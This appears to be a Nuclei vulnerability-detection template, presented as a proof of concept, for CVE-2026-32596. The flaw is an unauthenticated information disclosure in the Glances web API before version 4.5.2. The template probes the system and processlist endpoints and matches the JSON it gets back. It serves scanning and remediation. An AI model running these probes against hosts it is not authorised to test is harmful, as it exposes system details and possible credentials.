Glances < 4.5.2 contains an information disclosure vulnerability caused by the web server running without authentication by default, letting remote attackers access sensitive system information including credentials, exploit requires no special privileges.
PoC
id: CVE-2026-32596
info:
name: Glances - Information Disclosure
author: theamanrawat
severity: high
description: |
Glances < 4.5.2 contains an information disclosure vulnerability caused by the web server running without authentication by default, letting remote attackers access sensitive system information including credentials, exploit requires no special privileges.
impact: |
Remote attackers can access sensitive system information including credentials, risking data exposure and system compromise.
remediation: |
Update to version 4.5.2 or later.
reference:
- https://github.com/nicolargo/glances/security/advisories/GHSA-wvxv-4j8q-4wjq
- https://nvd.nist.gov/vuln/detail/CVE-2026-32596
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-32596
epss-score: 0.0155
epss-percentile: 0.73813
cwe-id: CWE-200
metadata:
verified: true
max-request: 2
tags: cve,cve2026,glances,exposure,unauth,vuln
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/api/4/system"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains_all(body, "os_name", "os_version", "hostname")'
condition: and
internal: true
- method: GET
path:
- "{{BaseURL}}/api/4/processlist"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains_all(body, "cmdline", "cpu_times", "memory_info")'
condition: and
# digest: 4b0a00483046022100a10c61115d85ce7f02b415d66fc969468df220ae5f8f75fb3ca6a47e16344667022100ee7837c1f0971c3f8bb313d387082b701298dedc2dd7c41c8cf990f826f6d68f:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.